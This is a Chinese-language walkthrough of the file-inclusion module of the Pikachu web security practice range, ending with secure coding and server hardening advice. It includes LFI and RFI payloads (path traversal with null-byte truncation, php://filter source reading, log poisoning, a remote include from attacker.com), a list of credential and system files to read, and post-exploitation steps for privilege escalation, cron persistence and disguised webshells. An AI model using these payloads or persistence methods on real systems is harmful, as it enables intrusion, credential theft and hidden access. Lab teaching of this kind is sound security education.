Pikachu靶场文件包含漏洞实战:从原理到渗透测试全解析
1. 项目概述:为什么我们需要一个“文件包含漏洞”靶场?
在网络安全的学习和实践道路上,理论知识和动手能力之间往往隔着一道鸿沟。你或许能背出“文件包含漏洞”的定义——一种允许攻击者将服务器上的文件作为代码执行的漏洞,主要分为本地文件包含(LFI)和远程文件包含(RFI)。但当你真正面对一个存在漏洞的Web应用时,如何快速定位、如何构造利用链、如何绕过常见的防御措施,这些实战技能才是决定你能否真正理解和防御此类威胁的关键。这就是“靶场”存在的核心价值:它提供了一个安全、合法且精心设计的沙盒环境,让你可以放开手脚去攻击,而不用担心法律风险或造成实际损害。
Pikachu靶场,正是一个在国内安全圈内广为人知的综合性Web漏洞练习平台。它集成了SQL注入、XSS、文件上传、文件包含等数十种常见漏洞类型。今天,我们聚焦其中的“文件包含漏洞”模块。这个模块并非简单地展示一个漏洞点,而是模拟了真实开发中可能出现的多种场景和防御手段。通过它,你不仅能理解include()、require()等函数误用的危害,更能深入体会路径遍历、日志注入、PHP伪协议利用等高级技巧。对于安全研究员、渗透测试工程师乃至开发人员来说,亲手在Pikachu靶场上通关文件包含漏洞,是构建完整Web安全知识体系不可或缺的一环。接下来,我将以一个资深渗透测试员的视角,带你从零开始,深度拆解Pikachu文件包含靶场的每一个角落,分享那些只有踩过坑才能获得的实操经验。
2. 靶场环境搭建与核心思路解析
2.1 环境部署:不止于“一键安装”
很多人拿到Pikachu的第一反应是寻找“一键安装包”。虽然这能快速启动,但作为学习者,我强烈建议你理解其背后的运行环境。Pikachu本质上是一个PHP编写的Web应用,其正常运行依赖于经典的LAMP(Linux + Apache + MySQL + PHP)或WAMP(Windows环境)栈。
我的首选部署方案是Docker。这不仅保证了环境隔离和一致性,也最贴近当前企业开发测试的潮流。你可以使用官方或社区维护的pikachu镜像,但更推荐自己基于php:7.x-apache镜像构建,以便自定义PHP配置(这对后续漏洞利用至关重要)。核心的Dockerfile可能只需要几行:
FROM php:7.4-apache COPY ./pikachu /var/www/html/ RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli注意:务必确保PHP版本在5.3以上至8.0以下(视Pikachu版本而定),以兼容靶场代码和后续要用的PHP伪协议。PHP 8.x+对一些旧特性(如某些
assert函数的用法)支持有变化,可能导致部分漏洞无法复现。
关键配置调整:
allow_url_include:这个PHP配置项直接决定了远程文件包含(RFI)漏洞能否被利用。在php.ini中,你需要将其设置为On。在Docker中,可以通过在Dockerfile中添加RUN echo "allow_url_include=On" >> /usr/local/etc/php/php.ini来实现。- 文件权限:确保
/var/www/html目录及子目录对Web服务器进程(通常是www-data用户)可读可执行,上传功能涉及的目录可能需要可写权限。 - 数据库初始化:Pikachu自带数据库文件,通常是一个
.sql文件。你需要进入MySQL容器,执行source命令来创建数据库和表。这一步常被忽略,导致靶场功能不全。
为什么我坚持手动部署?因为在真实渗透测试中,你首先需要做的就是信息收集,其中就包括判断服务器环境。亲手搭建一遍,你会熟悉Apache的日志路径(/var/log/apache2/access.log)、PHP配置文件位置、Web根目录结构,这些信息在利用LFI漏洞读取系统文件时极其重要。
2.2 漏洞原理与靶场设计思路拆解
Pikachu的文件包含模块之所以经典,在于它系统地呈现了漏洞的演变和防御的升级。我们拆解一下它的设计思路:
核心漏洞点:几乎所有文件包含漏洞的根源,都在于程序动态包含文件时,未对用户输入进行严格过滤。例如,一段危险的代码可能长这样:include($_GET['file'] . '.php');。开发者本意是让用户通过?file=home来加载home.php,但如果攻击者传入?file=../../../../etc/passwd%00,在特定PHP版本下(%00空字节截断),就可能成功读取系统密码文件。
Pikachu的关卡设计通常遵循以下难度递进:
- 无任何过滤:最基础的LFI,直接通过参数传递文件路径。
- 后缀拼接:开发者给输入添加了
.php后缀,试图固定包含php文件。这需要利用空字节截断或路径遍历跳出限制。 - 目录限制:通过
basename()等函数试图将输入限制在当前目录。这可以通过绝对路径或利用协议(如php://filter)绕过。 - 白名单校验:只允许包含指定的几个文件。这种情况下,漏洞可能转化为“本地文件包含”到“远程代码执行”的链条,例如通过包含日志文件或Session文件。
- 远程文件包含(RFI):当
allow_url_include=On时,攻击者可以包含一个远程服务器上的恶意脚本,直接获得代码执行能力。
靶场通过模拟这些场景,强迫你思考:当简单直接的利用被阻断后,还有哪些“旁路”可以走?这种思维训练的价值,远大于记住几个Payload。
3. 核心漏洞类型实战通关详解
3.1 本地文件包含(LFI)实战与技巧
进入Pikachu的文件包含漏洞首页,你通常会看到一个简单的文件链接,URL中可能包含一个file参数。第一关往往是最简单的LFI。
基础利用:尝试修改file参数值为../../../../etc/passwd。如果成功,页面会显示Linux系统的用户列表。这一步验证了漏洞的存在。但真实情况很少这么简单。
关键技巧1:路径遍历的深度判断到底需要多少个../?这没有固定答案。你需要知道Web应用的根目录(/var/www/html)相对于系统根目录的深度。一个实用的方法是使用Burp Suite的Intruder模块,对../的数量进行模糊测试。或者,先尝试包含一个已知的Web文件,如./index.php,然后通过错误信息或回显内容来判断相对路径。
关键技巧2:PHP伪协议的神奇作用当直接读取.php文件时,它们会被服务器执行,你看到的是执行结果而非源代码。这时,php://filter协议是你的瑞士军刀。尝试以下Payload:
?file=php://filter/read=convert.base64-encode/resource=index.php这个Payload会以Base64编码的形式读取index.php的源代码。你拿到Base64字符串后,解码即可获得清晰的源码。这对于代码审计、寻找其他漏洞点至关重要。php://filter支持多种过滤器组合,如string.rot13等,有时可用于绕过简单的关键词过滤。
关键技巧3:日志文件注入(Log Poisoning)这是LFI升级为远程代码执行(RCE)的经典手法。Web服务器(如Apache)的访问日志/var/log/apache2/access.log记录了每一个HTTP请求,包括User-Agent头部。如果这个日志文件可读(通常需要一定权限),你可以进行以下操作:
- 首先,通过LFI确认可以读取
access.log文件。 - 然后,使用Burp Suite或curl,发起一个请求,并将User-Agent设置为一段PHP代码,例如:``。
- 最后,再次利用LFI包含这个
access.log文件。服务器在解析日志时,会执行你注入在User-Agent中的PHP代码,从而在服务器上执行phpinfo()命令。
注意:现代服务器日志权限可能更严格,且日志文件可能经过编码或压缩。此外,你需要精确知道日志文件的路径,不同系统、不同安装方式路径差异很大(如Nginx的日志通常在
/var/log/nginx/目录下)。
3.2 远程文件包含(RFI)与防御绕过
当allow_url_include设置为On时,RFI就成为可能。Pikachu的RFI关卡通常会给你一个明显的提示或一个可以输入URL的地方。
基础利用:在攻击者控制的服务器上(或利用一些提供临时文件存储的公共服务),创建一个内容为``的文本文件,命名为shell.txt。然后,在靶场输入该文件的完整URL,例如http://attacker.com/shell.txt。如果包含成功,你将看到一个包含phpinfo信息的页面,证明远程代码已被执行。
高级绕过技巧:利用URI协议和封装器有时,防御代码会检查输入是否以http://开头。你可以尝试使用其他协议:
?file=data://text/plain,:data协议可以直接在URL中嵌入代码。但请注意,allow_url_include开启时,data协议默认可能也是禁用的,且PHP版本有要求。- 如果目标服务器能访问内网资源,可以尝试包含内网地址,进行SSRF探测。
RFI的实战意义:RFI的危害性远大于LFI,因为它意味着攻击者可以直接从外部引入攻击载荷,无需依赖服务器上已存在的特定文件。在实战中,遇到RFI的机会比LFI少,因为allow_url_include默认是关闭的。但一旦发现,它往往是一个高风险的致命漏洞。
3.3 常见防御机制及其绕过思路
Pikachu靶场的高明之处在于,它不仅仅展示漏洞,还模拟了开发者的修复尝试,让你学习如何绕过不完整的修复。
1. 后缀拼接防御代码:include($_GET['file'] . “.php”);
- 空字节截断(%00):在PHP版本 < 5.3.4且
magic_quotes_gpc=Off的情况下,可以在输入末尾添加%00(URL编码的空字符)来截断后面的.php。Payload:../../etc/passwd%00。 - 路径遍历溢出:使用超长的
../路径,使拼接后的字符串超出系统路径处理限制(在某些旧系统或特定配置下有效)。 - 利用
?或#:在URL中,?之后的内容被视为查询参数,#之后的内容被视为锚点。有时可以尝试../../etc/passwd?.php,但成功率依赖于服务器解析方式。
2. 目录限制防御代码:include(‘./’ . $_GET[‘file’]);或使用basename()函数。
- 绝对路径:如果系统允许,直接使用绝对路径
/etc/passwd可能有效。 - PHP伪协议:
php://filter协议通常不受目录前缀限制,因为它是一种流包装器,不是文件系统路径。
3. 白名单/黑名单过滤代码:检查输入是否在[‘home’, ‘about’, ‘contact’]等预设数组中。
- 编码绕过:尝试URL编码、双重URL编码、Unicode编码等,如将
../编码为%2e%2e%2f。 - 路径混淆:利用操作系统对路径解析的特性,如Windows下忽略末尾空格和点(
../../etc/passwd .)、大小写混淆(仅对Windows有效)。 - 间接包含:如果白名单机制有缺陷,可能包含一个“合法”文件,该文件内部又包含了用户可控的参数,形成二次包含漏洞。
4. 从漏洞利用到渗透链条构建
真正的渗透测试很少只依靠一个孤立的漏洞。Pikachu文件包含漏洞的价值在于,它常常是进入内网、获取权限的起点。
4.1 信息收集:利用LFI读取敏感文件
一旦确认LFI存在,你的第一个动作不应该是直接找Shell,而是进行全面的信息收集。以下是我在实战中会依次尝试读取的文件清单:
| 文件路径 | 可能包含的敏感信息 | 用途 |
|---|---|---|
/etc/passwd | 系统用户列表,确认可登录用户。 | 枚举系统用户,为后续爆破或权限提升做准备。 |
/proc/self/environ | 当前进程的环境变量,可能包含数据库密码、密钥等。 | 直接获取敏感配置信息。 |
/var/log/apache2/access.log/error.log | Web访问日志、错误日志。 | 日志注入、分析其他攻击痕迹、寻找其他漏洞线索。 |
../config.php,../../config/database.php | Web应用的配置文件。 | 获取数据库连接凭证,可能直接导致数据库沦陷。 |
~/.bash_history | 当前用户的历史命令。 | 了解系统管理员的日常操作,可能发现密码、密钥等信息。 |
/etc/hosts | 主机名映射。 | 探测内网网络结构。 |
/proc/net/arp或/proc/net/tcp | 网络连接信息。 | 探测内网其他活跃主机。 |
通过系统性地读取这些文件,你可以拼凑出服务器环境、应用架构、网络拓扑的完整画像,为下一步攻击指明方向。
4.2 权限提升与持久化思路
通过文件包含拿到Web Shell(例如,利用日志注入写入一个一句话木马文件)后,你通常只有Web服务器进程(如www-data)的权限。这是一个受限的权限。
1. 横向移动:
- 数据库利用:从配置文件中获取的数据库密码,可以用来连接数据库。尝试执行
LOAD_FILE函数读取更多文件,或通过INTO OUTFILE写入新的Web Shell到其他可写目录。 - 查找敏感文件:在服务器上搜索包含“password”、“key”、“secret”等关键词的文件,寻找其他应用或服务的凭证。
- 利用其他服务漏洞:检查服务器上运行的其他服务(如Redis、Memcached、MySQL),看是否存在未授权访问或已知漏洞。
2. 权限提升(提权):
- 内核漏洞:使用
uname -a查看内核版本,搜索对应的本地提权(LPE)漏洞。如著名的Dirty Cow、Dirty Pipe等。 - SUID/GUID文件:查找设置了SUID位的可执行文件(
find / -perm -u=s -type f 2>/dev/null),看看是否有已知的利用方式(如nmap、vim、find的旧版本)。 - sudo权限:检查当前用户能否以
sudo执行某些命令(sudo -l)。
3. 持久化后门:
- 写入定时任务(Cron):在
/etc/cron.hourly/、/etc/cron.daily/等目录下写入脚本,或直接编辑/etc/crontab。 - 修改启动脚本:在
/etc/rc.local、.bashrc、.profile等文件中添加后门命令。 - 创建隐藏的Web Shell:在Web目录的深层、不起眼子目录中,创建名称看似正常的文件(如
style.css.php),作为备用连接点。
5. 防御视角:如何编写安全的代码
攻击是为了更好的防御。通关靶场后,我们必须从开发者角度思考如何杜绝此类漏洞。
5.1 安全编码实践
- 避免动态包含:如果可能,尽量使用静态包含或自动加载机制(如Composer的PSR-4)。这是最根本的解决方案。
- 白名单机制:如果必须动态包含,请使用严格的白名单。将允许包含的文件名映射到一个固定的数组或哈希表中,只允许包含预定义的文件。
$allowed_files = [‘home’ => ‘home.php’, ‘about’ => ‘about.php’]; $page = $_GET[‘page’]; if (array_key_exists($page, $allowed_files)) { include(‘./templates/’ . $allowed_files[$page]); } else { include(‘./templates/error.php’); } - 路径固定:不要将用户输入直接拼接到文件路径中。使用
basename()函数(注意其局限性)或自定义函数,确保最终路径被限制在特定目录内,并使用绝对路径。$base_dir = ‘/var/www/html/templates/’; $file = basename($_GET[‘file’]); // 移除路径 $path = $base_dir . $file; if (file_exists($path) && is_file($path)) { include($path); } - 关闭危险特性:在
php.ini中,确保allow_url_fopen和allow_url_include设置为Off。这是防止RFI的最有效手段。
5.2 服务器与运维加固
- 最小权限原则:运行Web服务的用户(如
www-data)应仅拥有对Web根目录的必要读写权限,绝不能拥有对/etc、/var/log等系统关键目录的读取权限。通过正确的文件系统权限设置,可以极大缓解LFI漏洞的危害。 - 日志隔离:将Web服务器日志目录的权限设置为仅对root和特定管理用户可读,防止攻击者通过LFI读取日志进行注入。
- 定期更新与审计:保持PHP、Web服务器及操作系统的最新版本,及时修复已知漏洞。定期进行代码安全审计,使用静态代码分析工具(如SonarQube、PHPStan)辅助发现潜在风险。
- Web应用防火墙(WAF):部署WAF可以在网络层拦截常见的文件包含攻击Payload,为修复漏洞争取时间。但WAF不能替代安全的代码。
通关Pikachu的文件包含靶场,绝不是终点。它更像是一把钥匙,打开了Web安全中“代码与系统交互”这扇复杂的大门。我个人的体会是,每一个漏洞的利用和防御,背后都是对系统原理、编程语言特性和网络协议的深刻理解。在实战中,情况往往比靶场复杂百倍——奇怪的WAF规则、自定义的过滤函数、容器化的环境。但只要你掌握了这些核心原理和思维方法,就能像解谜一样,层层剥开防御,看到问题的本质。最后分享一个习惯:每次测试完一个漏洞,不妨立刻切换角色,思考“如果我是开发,我该怎么修?”并动手写一段安全的代码。这种攻防思维的快速转换,是让你从“脚本小子”成长为真正安全专家的最快路径。
